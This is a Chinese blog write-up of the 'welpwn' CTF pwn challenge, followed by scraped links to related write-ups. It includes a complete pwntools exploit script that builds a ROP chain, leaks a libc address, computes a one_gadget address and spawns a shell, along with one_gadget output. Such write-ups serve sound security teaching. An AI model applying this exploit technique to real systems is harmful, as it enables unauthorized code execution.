感觉好久没有水博客了,今天借助这道题来告诉自己做pwn题要多调试!!!

  先检查了保护只开启了堆栈不可执行,接下来ida看一下伪代码:

  这里可以往buf进行写入,接下来看一下echo函数:

  大概意思就是将buf的内容写入s2中,s2距离rbp只有0x10,所以可以进行溢出。这里我刚开始的时候是直接构造的rop,leakbaselibc,但是一直没有回显。后来我又将返回地址写成了start看看能不能让程序再次执行,发现是可以的。后来检查了一下,发现是向s2中赋值的时候,遇到'\x00'就会中断for循环,所以不能构造rop链。这可怎么办,看了大佬们的博客,然后我也试着调试了一下。

  这里可以看到,当我们输入aaaaaaaa的时候,首先是存在buf中,然后调用echo函数的时候赋值给了s2,所以s2的值也是aaaaaaaa,这里很明显可以看到两个变量在栈中的距离是0x20。

  此时的栈空间布局大概就是如图了,那我们应该怎么办呢?那就是利用栈连续,来构造rop链。将返回地址覆盖成pop|ret就可以执行leaklibc了。

  栈的布局就是上面这个图了,贴一下我的exp:

 1 from pwn import *
2
3 p = process('./welpwn')
4 elf = ELF('./welpwn')
5 context.log_level = 'debug'
6
7 start = elf.symbols['_start']
8 write_got = elf.got['write']
9 puts_plt = elf.plt['puts']
10 pop_rdi = 0x004008a3
11 ret = 0x0400589
12 pop_four = 0x0040089c
13
14 payload = 'a'*0x10 + 'bbbbbbbb' + p64(pop_four)
15 payload += p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(start)
16 p.sendlineafter('RCTF\n',payload)
17 sleep(1)
18 p.recv(0x2b)
19 write_addr = u64(p.recv(6).ljust(8,'\x00'))
20 print hex(write_addr)
21
22 base_addr = write_addr - 0x0f72b0
23 shell_addr = base_addr + 0xf02a4
24
25 payload = 'a'*0x10 + 'bbbbbbbb' + p64(pop_four)
26 payload += p64(shell_addr)
27 p.sendline(payload)
28 sleep(1)
29 p.interactive()
30 '''
31 0x45216 execve("/bin/sh", rsp+0x30, environ)
32 constraints:
33 rax == NULL
34
35 0x4526a execve("/bin/sh", rsp+0x30, environ)
36 constraints:
37 [rsp+0x30] == NULL
38
39 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
40 constraints:
41 [rsp+0x50] == NULL
42
43 0xf1147 execve("/bin/sh", rsp+0x70, environ)
44 constraints:
45 [rsp+0x70] == NULL
46 '''

  我看师傅们还有用DynELF做的,我大概看了一下,发现也是leak地址然后找system的地址,以前也经常听师傅们说这个东西,但是我目前还没遇到说必须用那个东西做的题,就不复现那种方法了。感觉都差不多。

攻防世界 pwn welpwn的更多相关文章

  1. 攻防世界PWN简单题 level0

    攻防世界PWN简单题 level0 开始考验栈溢出的相关知识了 Checksec 一下文件 看看都开了什么保护 和 是多少位的程序 发现是64位的程序, 扔进IDA64.IDA YYDS.. 进入主函 ...

  2. 攻防世界PWN简单题 level2

    攻防世界PWN简单题 level2 此题考验的是对ROP链攻击的基础 万事开头PWN第一步checksec 一下 32位的小端程序,扔进IDA 进入函数,找出栈溢出漏洞. 又是这个位置的栈溢出,rea ...

  3. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  4. pwn篇:攻防世界进阶welpwn,LibcSearcher使用

    攻防世界welpwn (搬运一篇自己在CSDN写的帖子) 链接:https://blog.csdn.net/weixin_44644249/article/details/113781356 这题主要 ...

  5. 攻防世界pwn高手区——pwn1

    攻防世界 -- pwn1 攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了. 题目流程 拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞.在gdb中 ...

  6. 攻防世界pwn之新手区

    涉及的工具有 Ubuntu 16.04 pwntools IDA gdb-peda 1.get_shell 连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件, ...

  7. 攻防世界—pwn—cgpwn2

    题目分析 题目提示 checksec检查文件保护机制 使用ida查看伪代码 hello函数存在溢出,与level2类似 信息收集 system地址 name的地址 编写脚本 from pwn impo ...

  8. 攻防世界—pwn—int_overflow

    题目分析 checksec检查文件保护机制 ida分析程序 经典整数溢出漏洞示例 整数溢出原理整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0, 无符号数取值 ...

  9. 攻防世界—pwn—level2

    题目分析 题目提示 下载文件后首先使用checksec检查文件保护机制 使用ida打开,查看伪代码 搜索字符串发现/bash/sh 信息收集 偏移量 system的地址 /bin/sh的地址 编写脚本 ...

随机推荐

  1. [bzoj1052]覆盖问题

    先二分答案,容易发现一定有一个正方形覆盖在角上(即有两条边在最X的地方),否则4个最X的点一定无法覆盖,然后暴力确定即可 1 #include<bits/stdc++.h> 2 using ...

  2. 分布式多任务学习论文阅读(四):去偏lasso实现高效通信

    1.难点-如何实现高效的通信 我们考虑下列的多任务优化问题: \[ \underset{\textbf{W}}{\min} \sum_{t=1}^{T} [\frac{1}{m_t}\sum_{i=1 ...

  3. THUSC2021 游记

    Day -6 - 2459343 请了一天假在家卷 whk,u1s1 星期六为啥要去上学呢(bushi 中午 12:00 左右得知自己有去参加 THUSC 的资格 然后就是一堆待填写的资料和报名表 发 ...

  4. 洛谷 P4484 - [BJWC2018]最长上升子序列(状压 dp+打表)

    洛谷题面传送门 首先看到 LIS 我们可以想到它的 \(\infty\) 种求法(bushi),但是对于此题而言,既然题目出这样一个数据范围,硬要暴搜过去也不太现实,因此我们需想到用某种奇奇怪怪的方式 ...

  5. Codeforces 848D - Shake It!(DP)

    Codeforces 题面传送门 & 洛谷题面传送门 hot tea 一道. 首先我们考虑这个奇奇怪怪的最小割有什么等价的表达.不难发现,如果我们选择了 \(S\to T\) 这条边并加入了一 ...

  6. du命令之计算文件大小

    在linux中,常用du命令来计算文件或目录的大小 名称: du - 计算每个文件的磁盘用量,目录则取总用量. 用法: du [选项]... [文件]... 常用选项 -a, --all 输出所有文件 ...

  7. GeckoDriver的安装和使用

    GeckoDriver用于驱动Firefox,在这之前请确保已经正确安装好了Firefox浏览器并可以正常运行. 一.GeckoDriver的安装 GitHub:https://github.com/ ...

  8. JVM1 JVM与Java体系结构

    目录 JVM与Java体系结构 虚拟机与Java虚拟机 虚拟机 Java虚拟机 JVM的位置 JVM的整体结构 Java代码执行流程 JVM的架构模型 基于栈的指令级架构 基于寄存器的指令级架构 两种 ...

  9. 学习java 7.11

     学习内容: 泛型定义格式:<类型> 优点:把运行时期的问题提前到编译期间:避免了强制类型转换   泛型方法:public class Fanxing { public <T> ...

  10. Android 基础UI组件(二)

    1.Spinner 提供一个快速的方法来从一组值中选择一个值.在默认状态Spinner显示当前选择的值.触摸Spinner与所有其他可用值显示一个下拉菜单,可以选择一个新的值. /** * 写死内容: ...